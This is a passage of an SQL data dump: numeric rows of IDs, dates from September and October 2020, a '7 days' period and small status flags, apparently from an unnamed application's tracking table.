days',1),(29881,14449,6086,7316,1251,86,'2020-09-11','7 days',0),(29882,14448,6086,7316,1251,86,'2020-09-11','7 days',0),(29883,14447,6086,7316,1251,86,'2020-09-11','7 days',0),(29888,3702,6013,7242,1408,86,'2020-09-11','7 days',0),(29889,3701,6013,7242,1408,86,'2020-09-11','7 days',0),(29890,3700,6013,7242,1408,86,'2020-09-11','7 days',0),(29891,1128,6013,7242,1408,86,'2020-09-11','7 days',0),(29892,984,6013,7242,1408,86,'2020-09-11','7 days',0),(29893,940,6013,7242,1408,86,'2020-09-11','7 days',0),(29926,9919,5589,6802,358,251,'2020-09-14','7 days',0),(29927,9918,5589,6802,358,251,'2020-09-14','7 days',0),(29928,9917,5589,6802,358,251,'2020-09-14','7 days',0),(29929,9916,5589,6802,358,251,'2020-09-14','7 days',0),(29930,9915,5589,6802,358,251,'2020-09-14','7 days',1),(29931,5409,5912,7134,359,251,'2020-09-14','7 days',1),(29932,5408,5912,7134,359,251,'2020-09-14','7 days',0),(29933,5407,5912,7134,359,251,'2020-09-14','7 days',0),(29934,5406,5912,7134,359,251,'2020-09-14','7 days',0),(29935,5405,5912,7134,359,251,'2020-09-14','7 days',0),(29936,5404,5912,7134,359,251,'2020-09-14','7 days',0),(29937,9111,5914,7136,359,251,'2020-09-14','7 days',1),(29938,9110,5914,7136,359,251,'2020-09-14','7 days',0),(29939,9109,5914,7136,359,251,'2020-09-14','7 days',0),(29940,9108,5914,7136,359,251,'2020-09-14','7 days',1),(29941,9107,5914,7136,359,251,'2020-09-14','7 days',0),(29942,8600,5922,7146,358,251,'2020-09-14','7 days',0),(29943,8599,5922,7146,358,251,'2020-09-14','7 days',1),(29944,8598,5922,7146,358,251,'2020-09-14','7 days',0),(29945,8597,5922,7146,358,251,'2020-09-14','7 days',0),(29946,9111,5962,7193,359,251,'2020-09-14','7 days',1),(29947,9110,5962,7193,359,251,'2020-09-14','7 days',0),(29948,9109,5962,7193,359,251,'2020-09-14','7 days',0),(30058,10779,6076,7315,633,639,'2020-09-15','7 days',1),(30059,8796,6064,7295,634,639,'2020-09-15','7 days',1),(30060,4502,6064,7295,634,639,'2020-09-15','7 days',0),(30062,4512,5884,7109,633,639,'2020-09-15','7 days',1),(30118,9159,6085,7327,1245,91,'2020-09-15','7 days',1),(30119,9155,6085,7327,1245,91,'2020-09-15','7 days',1),(30120,7213,6085,7327,1245,91,'2020-09-15','7 days',1),(30121,7212,6085,7327,1245,91,'2020-09-15','7 days',1),(30122,12274,6043,7277,1011,91,'2020-09-15','7 days',1),(30123,12273,6043,7277,1011,91,'2020-09-15','7 days',1),(30124,12264,6043,7277,1011,91,'2020-09-15','7 days',1),(30125,12263,6043,7277,1011,91,'2020-09-15','7 days',1),(30188,13913,6125,7368,194,45,'2020-09-16','7 days',1),(30189,1405,6126,7369,194,45,'2020-09-16','7 days',0),(30190,12532,6143,7378,194,45,'2020-09-16','7 days',1),(30198,12532,6144,7379,194,45,'2020-09-16','7 days',1),(30199,12532,6145,7379,194,45,'2020-09-16','7 days',1),(30240,12532,6128,7371,194,45,'2020-09-16','7 days',1),(30242,12532,6146,7380,194,45,'2020-09-16','7 days',1),(30243,12532,6126,7369,194,45,'2020-09-16','7 days',1),(30244,12532,6125,7368,194,45,'2020-09-16','7 days',1),(30303,13105,6153,7386,1393,86,'2020-09-17','7 days',0),(30304,13104,6153,7386,1393,86,'2020-09-17','7 days',0),(30305,13103,6153,7386,1393,86,'2020-09-17','7 days',0),(30306,13102,6153,7386,1393,86,'2020-09-17','7 days',2),(30307,13003,6153,7386,1393,86,'2020-09-17','7 days',0),(30308,13002,6153,7386,1393,86,'2020-09-17','7 days',0),(30309,13001,6153,7386,1393,86,'2020-09-17','7 days',0),(30310,13000,6153,7386,1393,86,'2020-09-17','7 days',0),(30311,12828,6153,7386,1393,86,'2020-09-17','7 days',0),(30312,12827,6153,7386,1393,86,'2020-09-17','7 days',0),(30313,12781,6153,7386,1393,86,'2020-09-17','7 days',0),(30314,12763,6153,7386,1393,86,'2020-09-17','7 days',1),(30315,9613,6153,7386,1393,86,'2020-09-17','7 days',2),(30330,14534,6125,7368,194,45,'2020-09-18','7 days',1),(30331,14534,6143,7378,194,45,'2020-09-18','7 days',1),(30332,9134,6139,7374,1245,91,'2020-09-18','7 days',1),(30333,9133,6139,7374,1245,91,'2020-09-18','7 days',1),(30334,7287,6139,7374,1245,91,'2020-09-18','7 days',1),(30335,7286,6139,7374,1245,91,'2020-09-18','7 days',1),(30409,673,6046,7281,161,73,'2020-09-21','7 days',0),(30410,667,6046,7281,161,73,'2020-09-21','7 days',1),(30411,666,6046,7281,161,73,'2020-09-21','7 days',0),(30412,8784,6065,7296,162,73,'2020-09-21','7 days',1),(30413,8783,6065,7296,162,73,'2020-09-21','7 days',0),(30414,656,6065,7296,162,73,'2020-09-21','7 days',0),(30415,653,6065,7296,162,73,'2020-09-21','7 days',0),(30416,9014,6096,7336,161,73,'2020-09-21','7 days',1),(30417,9013,6096,7336,161,73,'2020-09-21','7 days',0),(30418,8786,6096,7336,161,73,'2020-09-21','7 days',0),(30419,668,6096,7336,161,73,'2020-09-21','7 days',0),(30420,655,6096,7336,161,73,'2020-09-21','7 days',0),(30421,632,6096,7336,161,73,'2020-09-21','7 days',0),(30514,12274,6165,7399,1452,91,'2020-09-21','7 days',1),(30515,12273,6165,7399,1452,91,'2020-09-21','7 days',1),(30516,12264,6165,7399,1452,91,'2020-09-21','7 days',1),(30517,12263,6165,7399,1452,91,'2020-09-21','7 days',1),(30518,7022,6139,7374,1245,91,'2020-09-21','7 days',1),(30519,12274,6085,7327,1245,91,'2020-09-21','7 days',1),(30520,12273,6085,7327,1245,91,'2020-09-21','7 days',1),(30521,9537,6043,7277,1011,91,'2020-09-21','7 days',0),(30527,14051,6160,7394,1067,326,'2020-09-22','7 days',0),(30528,12897,6160,7394,1067,326,'2020-09-22','7 days',1),(30529,12875,6160,7394,1067,326,'2020-09-22','7 days',1),(30530,14580,6013,7242,1408,86,'2020-09-22','7 days',0),(30531,14439,6013,7242,1408,86,'2020-09-22','7 days',0),(30532,13236,6013,7242,1408,86,'2020-09-22','7 days',1),(30533,14561,6153,7386,1393,86,'2020-09-22','7 days',0),(30534,14562,6153,7386,1393,86,'2020-09-22','7 days',0),(30535,14563,6153,7386,1393,86,'2020-09-22','7 days',0),(30536,14583,6153,7386,1393,86,'2020-09-22','7 days',1),(30537,14582,6153,7386,1393,86,'2020-09-22','7 days',0),(30538,14581,6153,7386,1393,86,'2020-09-22','7 days',0),(30539,13720,6067,7298,204,86,'2020-09-22','7 days',0),(30540,13099,6067,7298,204,86,'2020-09-22','7 days',1),(30541,13085,6067,7298,204,86,'2020-09-22','7 days',0),(30542,13009,6067,7298,204,86,'2020-09-22','7 days',0),(30543,12299,6067,7298,204,86,'2020-09-22','7 days',0),(30554,14590,6067,7298,204,86,'2020-09-22','7 days',1),(30555,14589,6067,7298,204,86,'2020-09-22','7 days',2),(30556,14449,6067,7298,204,86,'2020-09-22','7 days',0),(30557,14448,6067,7298,204,86,'2020-09-22','7 days',0),(30558,14447,6067,7298,204,86,'2020-09-22','7 days',0),(30588,14617,6013,7242,1408,86,'2020-09-22','7 days',0),(30589,14446,6013,7242,1408,86,'2020-09-22','7 days',0),(30590,10915,6013,7242,1408,86,'2020-09-22','7 days',0),(30591,10914,6013,7242,1408,86,'2020-09-22','7 days',2),(30592,10913,6013,7242,1408,86,'2020-09-22','7 days',1),(30593,14618,6013,7242,1408,86,'2020-09-22','7 days',0),(30676,13180,6170,7407,1410,975,'2020-09-23','7 days',1),(30677,12972,6170,7407,1410,975,'2020-09-23','7 days',1),(30678,13180,6058,7291,1410,975,'2020-09-23','7 days',1),(30679,12972,6058,7291,1410,975,'2020-09-23','7 days',1),(30680,13180,6041,7275,1410,975,'2020-09-23','7 days',1),(30681,12972,6041,7275,1410,975,'2020-09-23','7 days',1),(30682,13180,5857,7050,1410,975,'2020-09-23','7 days',1),(30683,12972,5857,7050,1410,975,'2020-09-23','7 days',1),(30684,13180,5747,6971,1410,975,'2020-09-23','7 days',1),(30685,12972,5747,6971,1410,975,'2020-09-23','7 days',1),(30686,13180,5550,6756,1410,975,'2020-09-23','7 days',1),(30687,12972,5550,6756,1410,975,'2020-09-23','7 days',1),(30824,13180,6213,7459,1410,975,'2020-09-25','7 days',1),(30825,12972,6213,7459,1410,975,'2020-09-25','7 days',1),(30834,13720,6217,7463,1394,86,'2020-09-25','7 days',0),(30835,13099,6217,7463,1394,86,'2020-09-25','7 days',1),(30836,13085,6217,7463,1394,86,'2020-09-25','7 days',0),(30837,13009,6217,7463,1394,86,'2020-09-25','7 days',0),(30838,13008,6217,7463,1394,86,'2020-09-25','7 days',1),(30839,13007,6217,7463,1394,86,'2020-09-25','7 days',2),(30840,13006,6217,7463,1394,86,'2020-09-25','7 days',0),(30841,13005,6217,7463,1394,86,'2020-09-25','7 days',0),(30842,13004,6217,7463,1394,86,'2020-09-25','7 days',0),(30843,12788,6217,7463,1394,86,'2020-09-25','7 days',0),(30844,12297,6217,7463,1394,86,'2020-09-25','7 days',0),(30845,14664,6217,7463,1394,86,'2020-09-25','7 days',2),(30846,14663,6217,7463,1394,86,'2020-09-25','7 days',1),(30847,14662,6217,7463,1394,86,'2020-09-25','7 days',0),(30848,9155,6165,7399,1452,91,'2020-09-25','7 days',1),(30849,7213,6165,7399,1452,91,'2020-09-25','7 days',1),(30850,12274,6139,7374,1245,91,'2020-09-25','7 days',1),(30851,12273,6139,7374,1245,91,'2020-09-25','7 days',1),(30852,12264,6085,7327,1245,91,'2020-09-25','7 days',1),(30853,12263,6085,7327,1245,91,'2020-09-25','7 days',1),(30854,7287,6043,7277,1011,91,'2020-09-25','7 days',1),(30855,7286,6043,7277,1011,91,'2020-09-25','7 days',1),(30865,13180,6223,7470,1410,975,'2020-09-26','7 days',1),(30866,12972,6223,7470,1410,975,'2020-09-26','7 days',1),(30893,14051,6204,7449,1067,326,'2020-09-28','7 days',0),(30894,12897,6204,7449,1067,326,'2020-09-28','7 days',0),(30895,12875,6204,7449,1067,326,'2020-09-28','7 days',1),(30896,9805,6204,7449,1067,326,'2020-09-28','7 days',0),(30897,9803,6204,7449,1067,326,'2020-09-28','7 days',2),(30898,9802,6204,7449,1067,326,'2020-09-28','7 days',0),(30899,9801,6204,7449,1067,326,'2020-09-28','7 days',0),(30900,9800,6204,7449,1067,326,'2020-09-28','7 days',0),(30901,9798,6204,7449,1067,326,'2020-09-28','7 days',0),(30914,10779,5071,5888,633,639,'2020-09-28','7 days',1),(30938,14684,6245,7495,194,45,'2020-09-28','7 days',1),(30964,14051,6235,7483,1067,326,'2020-09-29','7 days',0),(30965,12897,6235,7483,1067,326,'2020-09-29','7 days',2),(30966,12875,6235,7483,1067,326,'2020-09-29','7 days',1),(30967,9805,6235,7483,1067,326,'2020-09-29','7 days',0),(30968,9803,6235,7483,1067,326,'2020-09-29','7 days',0),(30969,9802,6235,7483,1067,326,'2020-09-29','7 days',0),(30970,9801,6235,7483,1067,326,'2020-09-29','7 days',0),(30971,9800,6235,7483,1067,326,'2020-09-29','7 days',0),(30972,9798,6235,7483,1067,326,'2020-09-29','7 days',0),(30985,12301,6234,7482,1439,86,'2020-09-29','7 days',0),(30986,12300,6234,7482,1439,86,'2020-09-29','7 days',0),(30987,12299,6234,7482,1439,86,'2020-09-29','7 days',0),(30988,12297,6234,7482,1439,86,'2020-09-29','7 days',0),(30989,12296,6234,7482,1439,86,'2020-09-29','7 days',0),(30990,12513,6234,7482,1439,86,'2020-09-29','7 days',0),(30991,12365,6234,7482,1439,86,'2020-09-29','7 days',0),(30992,12364,6234,7482,1439,86,'2020-09-29','7 days',0),(30993,9003,6234,7482,1439,86,'2020-09-29','7 days',0),(30994,9002,6234,7482,1439,86,'2020-09-29','7 days',1),(30995,9000,6234,7482,1439,86,'2020-09-29','7 days',1),(30996,8999,6234,7482,1439,86,'2020-09-29','7 days',0),(31003,13670,6217,7463,1394,86,'2020-09-29','7 days',0),(31004,13669,6217,7463,1394,86,'2020-09-29','7 days',2),(31005,12351,6217,7463,1394,86,'2020-09-29','7 days',0),(31006,11848,6217,7463,1394,86,'2020-09-29','7 days',0),(31007,11847,6217,7463,1394,86,'2020-09-29','7 days',0),(31008,11846,6217,7463,1394,86,'2020-09-29','7 days',0),(31009,9007,6217,7463,1394,86,'2020-09-29','7 days',0),(31010,8997,6217,7463,1394,86,'2020-09-29','7 days',1),(31033,12274,6229,7476,1452,91,'2020-09-29','7 days',1),(31034,12273,6229,7476,1452,91,'2020-09-29','7 days',1),(31035,12264,6229,7476,1452,91,'2020-09-29','7 days',1),(31036,12263,6229,7476,1452,91,'2020-09-29','7 days',1),(31037,9154,6227,7474,1245,91,'2020-09-29','7 days',1),(31038,9135,6227,7474,1245,91,'2020-09-29','7 days',1),(31039,9134,6227,7474,1245,91,'2020-09-29','7 days',1),(31040,9133,6227,7474,1245,91,'2020-09-29','7 days',1),(31047,12532,6262,7511,194,45,'2020-09-30','7 days',1),(31048,12532,6255,7502,194,45,'2020-09-30','7 days',1),(31094,9111,6026,7257,359,251,'2020-09-30','7 days',1),(31095,9110,6026,7257,359,251,'2020-09-30','7 days',0),(31096,9109,6026,7257,359,251,'2020-09-30','7 days',0),(31097,9108,6026,7257,359,251,'2020-09-30','7 days',1),(31098,9107,6026,7257,359,251,'2020-09-30','7 days',0),(31152,11354,6274,7527,1456,667,'2020-10-01','7 days',1),(31153,11353,6274,7527,1456,667,'2020-10-01','7 days',2),(31154,11352,6274,7527,1456,667,'2020-10-01','7 days',0),(31155,11359,6273,7526,1456,667,'2020-10-01','7 days',0),(31156,11357,6273,7526,1456,667,'2020-10-01','7 days',0),(31157,11356,6273,7526,1456,667,'2020-10-01','7 days',0),(31172,13720,6282,5004,204,86,'2020-10-01','7 days',1),(31173,13099,6282,5004,204,86,'2020-10-01','7 days',1),(31174,13085,6282,5004,204,86,'2020-10-01','7 days',0),(31175,13009,6282,5004,204,86,'2020-10-01','7 days',0),(31176,13008,6282,5004,204,86,'2020-10-01','7 days',1),(31177,13007,6282,5004,204,86,'2020-10-01','7 days',2),(31178,13006,6282,5004,204,86,'2020-10-01','7 days',0),(31179,13005,6282,5004,204,86,'2020-10-01','7 days',0),(31180,13004,6282,5004,204,86,'2020-10-01','7 days',2),(31181,12788,6282,5004,204,86,'2020-10-01','7 days',0),(31182,12787,6282,5004,204,86,'2020-10-01','7 days',0),(31193,12407,6237,7485,222,85,'2020-10-03','7 days',2),(31194,12406,6237,7485,222,85,'2020-10-03','7 days',0),(31195,12405,6237,7485,222,85,'2020-10-03','7 days',2),(31196,12404,6237,7485,222,85,'2020-10-03','7 days',0),(31197,12403,6237,7485,222,85,'2020-10-03','7 days',1),(31198,12402,6237,7485,222,85,'2020-10-03','7 days',0),(31199,12401,6237,7485,222,85,'2020-10-03','7 days',0),(31200,12400,6237,7485,222,85,'2020-10-03','7 days',0),(31201,10923,6237,7485,222,85,'2020-10-03','7 days',0),(31202,10921,6237,7485,222,85,'2020-10-03','7 days',0),(31203,10920,6237,7485,222,85,'2020-10-03','7 days',0),(31204,10919,6237,7485,222,85,'2020-10-03','7 days',0),(31205,12230,6237,7485,222,85,'2020-10-03','7 days',0),(31206,12229,6237,7485,222,85,'2020-10-03','7 days',0),(31207,12227,6237,7485,222,85,'2020-10-03','7 days',2),(31208,12226,6237,7485,222,85,'2020-10-03','7 days',0),(31209,12225,6237,7485,222,85,'2020-10-03','7 days',0),(31210,12224,6237,7485,222,85,'2020-10-03','7 days',0),(31211,12172,6237,7485,222,85,'2020-10-03','7 days',0),(31227,14767,6273,7526,1456,667,'2020-10-03','7 days',0),(31228,14766,6273,7526,1456,667,'2020-10-03','7 days',0),(31229,14765,6273,7526,1456,667,'2020-10-03','7 days',1),(31230,14764,6273,7526,1456,667,'2020-10-03','7 days',2),(31231,14771,6274,7527,1456,667,'2020-10-03','7 days',0),(31232,14770,6274,7527,1456,667,'2020-10-03','7 days',0),(31233,14769,6274,7527,1456,667,'2020-10-03','7 days',0),(31234,14768,6274,7527,1456,667,'2020-10-03','7 days',0),(31235,7305,6229,7476,1452,91,'2020-10-03','7 days',0),(31236,7304,6229,7476,1452,91,'2020-10-03','7 days',0),(31237,7303,6229,7476,1452,91,'2020-10-03','7 days',1),(31238,7147,6229,7476,1452,91,'2020-10-03','7 days',0),(31239,7146,6229,7476,1452,91,'2020-10-03','7 days',2),(31240,7146,6227,7474,1245,91,'2020-10-03','7 days',0),(31241,7145,6227,7474,1245,91,'2020-10-03','7 days',0),(31242,7143,6227,7474,1245,91,'2020-10-03','7 days',0),(31243,7142,6227,7474,1245,91,'2020-10-03','7 days',2),(31244,7140,6227,7474,1245,91,'2020-10-03','7 days',0),(31245,9157,6165,7399,1452,91,'2020-10-03','7 days',1),(31246,7019,6165,7399,1452,91,'2020-10-03','7 days',1),(31247,7207,6139,7374,1245,91,'2020-10-03','7 days',2),(31248,7206,6139,7374,1245,91,'2020-10-03','7 days',0),(31249,7147,6043,7277,1011,91,'2020-10-03','7 days',0),(31250,7146,6043,7277,1011,91,'2020-10-03','7 days',0),(31251,7145,6043,7277,1011,91,'2020-10-03','7 days',0),(31252,7143,6043,7277,1011,91,'2020-10-03','7 days',0),(31253,9134,6085,7327,1245,91,'2020-10-03','7 days',1),(31254,9133,6085,7327,1245,91,'2020-10-03','7 days',1),(31255,7287,6085,7327,1245,91,'2020-10-03','7 days',1),(31256,7286,6085,7327,1245,91,'2020-10-03','7 days',1),(31265,14782,6234,7482,1439,86,'2020-10-03','7 days',0),(31266,14781,6234,7482,1439,86,'2020-10-03','7 days',0),(31267,14780,6234,7482,1439,86,'2020-10-03','7 days',2),(31268,14779,6234,7482,1439,86,'2020-10-03','7 days',0),(31269,13094,6234,7482,1439,86,'2020-10-03','7 days',0),(31270,14786,6217,7463,1394,86,'2020-10-03','7 days',2),(31271,14785,6217,7463,1394,86,'2020-10-03','7 days',0),(31272,14618,6217,7463,1394,86,'2020-10-03','7 days',0),(31273,14784,6217,7463,1394,86,'2020-10-03','7 days',0),(31274,14783,6217,7463,1394,86,'2020-10-03','7 days',0),(31370,14534,6305,7547,194,45,'2020-10-05','7 days',1),(31416,14805,6273,7526,1456,667,'2020-10-07','7 days',1),(31432,14808,6328,7573,1370,667,'2020-10-07','7 days',0),(31433,14807,6328,7573,1370,667,'2020-10-07','7 days',0),(31434,14806,6328,7573,1370,667,'2020-10-07','7 days',0),(31435,14810,6328,7573,1370,667,'2020-10-07','7 days',0),(31436,14809,6328,7573,1370,667,'2020-10-07','7 days',2),(31453,8997,6234,7482,1439,86,'2020-10-08','7 days',1),(31461,12979,6181,7421,162,73,'2020-10-08','7 days',0),(31462,11876,6181,7421,162,73,'2020-10-08','7 days',0),(31463,8781,6181,7421,162,73,'2020-10-08','7 days',0),(31464,672,6181,7421,162,73,'2020-10-08','7 days',0),(31465,661,6181,7421,162,73,'2020-10-08','7 days',0),(31466,659,6181,7421,162,73,'2020-10-08','7 days',1),(31467,647,6181,7421,162,73,'2020-10-08','7 days',0),(31468,642,6181,7421,162,73,'2020-10-08','7 days',0),(31469,640,6181,7421,162,73,'2020-10-08','7 days',2),(31470,639,6181,7421,162,73,'2020-10-08','7 days',0),(31471,8784,6232,7480,160,73,'2020-10-08','7 days',1),(31472,8783,6232,7480,160,73,'2020-10-08','7 days',0),(31473,656,6232,7480,160,73,'2020-10-08','7 days',0),(31474,653,6232,7480,160,73,'2020-10-08','7 days',0),(31475,9012,6242,7490,161,73,'2020-10-08','7 days',0),(31476,9010,6242,7490,161,73,'2020-10-08','7 days',0),(31477,8785,6242,7490,161,73,'2020-10-08','7 days',0),(31478,8782,6242,7490,161,73,'2020-10-08','7 days',1),(31479,652,6242,7490,161,73,'2020-10-08','7 days',0),(31480,651,6242,7490,161,73,'2020-10-08','7 days',0),(31481,644,6242,7490,161,73,'2020-10-08','7 days',1),(31482,14801,6253,7400,162,73,'2020-10-08','7 days',0),(31483,14802,6253,7400,162,73,'2020-10-08','7 days',0),(31484,14803,6253,7400,162,73,'2020-10-08','7 days',0),(31485,14804,6253,7400,162,73,'2020-10-08','7 days',0),(31486,10287,6264,7516,161,73,'2020-10-08','7 days',0),(31487,9014,6264,7516,161,73,'2020-10-08','7 days',1),(31488,9013,6264,7516,161,73,'2020-10-08','7 days',0),(31489,8786,6264,7516,161,73,'2020-10-08','7 days',0),(31490,668,6264,7516,161,73,'2020-10-08','7 days',0),(31491,655,6264,7516,161,73,'2020-10-08','7 days',0),(31492,632,6264,7516,161,73,'2020-10-08','7 days',0),(31493,647,6279,7515,162,73,'2020-10-08','7 days',0),(31494,642,6279,7515,162,73,'2020-10-08','7 days',0),(31495,640,6279,7515,162,73,'2020-10-08','7 days',0),(31496,639,6279,7515,162,73,'2020-10-08','7 days',0),(31497,637,6279,7515,162,73,'2020-10-08','7 days',0),(31498,636,6279,7515,162,73,'2020-10-08','7 days',0),(31499,629,6279,7515,162,73,'2020-10-08','7 days',0),(31500,8784,6316,7562,161,73,'2020-10-08','7 days',1),(31501,8783,6316,7562,161,73,'2020-10-08','7 days',0),(31502,656,6316,7562,161,73,'2020-10-08','7 days',0),(31503,653,6316,7562,161,73,'2020-10-08','7 days',0),(31504,12979,5989,7218,160,73,'2020-10-08','7 days',0),(31505,11876,5989,7218,160,73,'2020-10-08','7 days',0),(31506,11589,5989,7218,160,73,'2020-10-08','7 days',1),(31507,8781,5989,7218,160,73,'2020-10-08','7 days',0),(31508,672,5989,7218,160,73,'2020-10-08','7 days',0),(31509,11876,5712,6934,160,73,'2020-10-08','7 days',0),(31510,11589,5712,6934,160,73,'2020-10-08','7 days',1),(31511,8781,5712,6934,160,73,'2020-10-08','7 days',0),(31512,672,5712,6934,160,73,'2020-10-08','7 days',0),(31513,12979,5126,6306,160,73,'2020-10-08','7 days',0),(31514,11876,5126,6306,160,73,'2020-10-08','7 days',0),(31515,11589,5126,6306,160,73,'2020-10-08','7 days',1),(31516,8781,5126,6306,160,73,'2020-10-08','7 days',0),(31517,12979,5187,6374,160,73,'2020-10-08','7 days',0),(31518,11876,5187,6374,160,73,'2020-10-08','7 days',0),(31519,11589,5187,6374,160,73,'2020-10-08','7 days',1),(31520,8781,5187,6374,160,73,'2020-10-08','7 days',0),(31521,12979,5197,6385,161,73,'2020-10-08','7 days',0),(31522,11876,5197,6385,161,73,'2020-10-08','7 days',0),(31523,11589,5197,6385,161,73,'2020-10-08','7 days',1),(31524,8781,5197,6385,161,73,'2020-10-08','7 days',0),(31525,11589,5232,6418,162,73,'2020-10-08','7 days',1),(31526,8781,5232,6418,162,73,'2020-10-08','7 days',0),(31527,672,5232,6418,162,73,'2020-10-08','7 days',1),(31528,661,5232,6418,162,73,'2020-10-08','7 days',0),(31529,636,5232,6418,162,73,'2020-10-08','7 days',0),(31530,629,5232,6418,162,73,'2020-10-08','7 days',0),(31531,13225,5366,6551,160,73,'2020-10-08','7 days',1),(31532,12979,5366,6551,160,73,'2020-10-08','7 days',0),(31533,11876,5366,6551,160,73,'2020-10-08','7 days',0),(31534,13225,5232,6418,162,73,'2020-10-08','7 days',1),(31535,12979,5232,6418,162,73,'2020-10-08','7 days',0),(31536,11876,5232,6418,162,73,'2020-10-08','7 days',2),(31537,13225,5197,6385,161,73,'2020-10-08','7 days',1),(31551,11354,6328,7573,1370,667,'2020-10-09','7 days',1),(31552,11352,6328,7573,1370,667,'2020-10-09','7 days',0),(31553,11351,6328,7573,1370,667,'2020-10-09','7 days',2),(31554,14828,6273,7526,1456,667,'2020-10-09','7 days',1),(31555,14827,6273,7526,1456,667,'2020-10-09','7 days',0),(31556,14826,6273,7526,1456,667,'2020-10-09','7 days',0),(31557,14825,6273,7526,1456,667,'2020-10-09','7 days',0),(31560,14830,6328,7573,1370,667,'2020-10-09','7 days',0),(31561,14829,6328,7573,1370,667,'2020-10-09','7 days',0),(31576,13886,6349,7597,1408,86,'2020-10-09','7 days',1),(31577,13885,6349,7597,1408,86,'2020-10-09','7 days',0),(31578,13884,6349,7597,1408,86,'2020-10-09','7 days',1),(31579,13883,6349,7597,1408,86,'2020-10-09','7 days',0),(31580,14786,6347,7595,203,86,'2020-10-09','7 days',2),(31581,14785,6347,7595,203,86,'2020-10-09','7 days',0),(31582,14618,6347,7595,203,86,'2020-10-09','7 days',0),(31583,14444,6347,7595,203,86,'2020-10-09','7 days',0),(31584,14443,6347,7595,203,86,'2020-10-09','7 days',0),(31585,14442,6347,7595,203,86,'2020-10-09','7 days',0),(31586,9005,6347,7595,203,86,'2020-10-09','7 days',0),(31587,13096,6346,7594,1393,86,'2020-10-09','7 days',0),(31588,13095,6346,7594,1393,86,'2020-10-09','7 days',0),(31589,13091,6346,7594,1393,86,'2020-10-09','7 days',0),(31590,13090,6346,7594,1393,86,'2020-10-09','7 days',0),(31591,13089,6346,7594,1393,86,'2020-10-09','7 days',2),(31592,13087,6346,7594,1393,86,'2020-10-09','7 days',0),(31593,12826,6346,7594,1393,86,'2020-10-09','7 days',0),(31594,12782,6346,7594,1393,86,'2020-10-09','7 days',2),(31595,12368,6346,7594,1393,86,'2020-10-09','7 days',2),(31596,12367,6346,7594,1393,86,'2020-10-09','7 days',0),(31624,13225,6232,7480,160,73,'2020-10-10','7 days',1),(31625,12979,6232,7480,160,73,'2020-10-10','7 days',0),(31626,11876,6232,7480,160,73,'2020-10-10','7 days',2),(31627,11589,6232,7480,160,73,'2020-10-10','7 days',1),(31628,8781,6232,7480,160,73,'2020-10-10','7 days',0),(31629,672,6232,7480,160,73,'2020-10-10','7 days',0),(31630,12532,6358,7606,194,45,'2020-10-10','7 days',1),(31631,14836,6328,7573,1370,667,'2020-10-10','7 days',0),(31632,14835,6328,7573,1370,667,'2020-10-10','7 days',0),(31633,11357,6328,7573,1370,667,'2020-10-10','7 days',0),(31634,11356,6328,7573,1370,667,'2020-10-10','7 days',0),(31635,11355,6328,7573,1370,667,'2020-10-10','7 days',1),(31636,11360,6328,7573,1370,667,'2020-10-10','7 days',0),(31637,14842,6348,7596,1394,86,'2020-10-10','7 days',0),(31638,14841,6348,7596,1394,86,'2020-10-10','7 days',0),(31639,14840,6348,7596,1394,86,'2020-10-10','7 days',0),(31640,14839,6348,7596,1394,86,'2020-10-10','7 days',0),(31641,14838,6348,7596,1394,86,'2020-10-10','7 days',0),(31642,14837,6348,7596,1394,86,'2020-10-10','7 days',2),(31643,14846,6347,7595,203,86,'2020-10-10','7 days',0),(31644,14845,6347,7595,203,86,'2020-10-10','7 days',2),(31645,14844,6347,7595,203,86,'2020-10-10','7 days',0),(31646,14843,6347,7595,203,86,'2020-10-10','7 days',0),(31672,12532,6379,7632,194,45,'2020-10-12','7 days',1),(31709,14890,6165,7399,1452,91,'2020-10-12','7 days',0),(31710,14884,6165,7399,1452,91,'2020-10-12','7 days',0),(31711,14883,6165,7399,1452,91,'2020-10-12','7 days',0),(31712,14882,6165,7399,1452,91,'2020-10-12','7 days',0),(31759,14805,6328,7573,1370,667,'2020-10-13','7 days',1),(31762,13886,6348,7596,1394,86,'2020-10-13','7 days',1),(31763,11359,6328,7573,1370,667,'2020-10-13','7 days',0),(31764,11358,6328,7573,1370,667,'2020-10-13','7 days',0),(31765,14767,6328,7573,1370,667,'2020-10-13','7 days',0),(31766,14766,6328,7573,1370,667,'2020-10-13','7 days',0),(31767,14765,6328,7573,1370,667,'2020-10-13','7 days',1),(31768,14764,6328,7573,1370,667,'2020-10-13','7 days',0),(31769,14766,6274,7527,1456,667,'2020-10-13','7 days',0),(31770,14765,6274,7527,1456,667,'2020-10-13','7 days',1),(31771,14764,6274,7527,1456,667,'2020-10-13','7 days',2),(31772,14805,6274,7527,1456,667,'2020-10-13','7 days',1),(31773,14767,6274,7527,1456,667,'2020-10-13','7 days',0),(31774,12256,6348,7596,1394,86,'2020-10-13','7 days',0),(31775,12255,6348,7596,1394,86,'2020-10-13','7 days',0),(31776,12241,6348,7596,1394,86,'2020-10-13','7 days',2),(31777,12240,6348,7596,1394,86,'2020-10-13','7 days',0),(31778,12239,6348,7596,1394,86,'2020-10-13','7 days',0),(31779,13671,6346,7594,1393,86,'2020-10-13','7 days',0),(31780,13670,6346,7594,1393,86,'2020-10-13','7 days',0),(31781,13927,6347,7595,203,86,'2020-10-13','7 days',0),(31782,13926,6347,7595,203,86,'2020-10-13','7 days',0),(31783,13925,6347,7595,203,86,'2020-10-13','7 days',0),(31784,13924,6347,7595,203,86,'2020-10-13','7 days',0),(31785,13923,6347,7595,203,86,'2020-10-13','7 days',0),(31786,13922,6347,7595,203,86,'2020-10-13','7 days',0),(31787,13921,6347,7595,203,86,'2020-10-13','7 days',0),(31788,13920,6347,7595,203,86,'2020-10-13','7 days',0),(31817,14900,6237,7485,222,85,'2020-10-14','7 days',0),(31818,14899,6237,7485,222,85,'2020-10-14','7 days',0),(31819,14898,6237,7485,222,85,'2020-10-14','7 days',0),(31820,14897,6237,7485,222,85,'2020-10-14','7 days',0),(31821,14896,6237,7485,222,85,'2020-10-14','7 days',0),(31822,14895,6237,7485,222,85,'2020-10-14','7 days',0),(31823,14894,6237,7485,222,85,'2020-10-14','7 days',0),(31824,14893,6237,7485,222,85,'2020-10-14','7 days',0),(31825,14892,6237,7485,222,85,'2020-10-14','7 days',0),(31826,14891,6237,7485,222,85,'2020-10-14','7 days',0),(31849,14903,6346,7594,1393,86,'2020-10-14','7 days',0),(31850,14902,6346,7594,1393,86,'2020-10-14','7 days',0),(31851,14901,6346,7594,1393,86,'2020-10-14','7 days',0),(31852,14906,6348,7596,1394,86,'2020-10-14','7 days',0),(31853,14905,6348,7596,1394,86,'2020-10-14','7 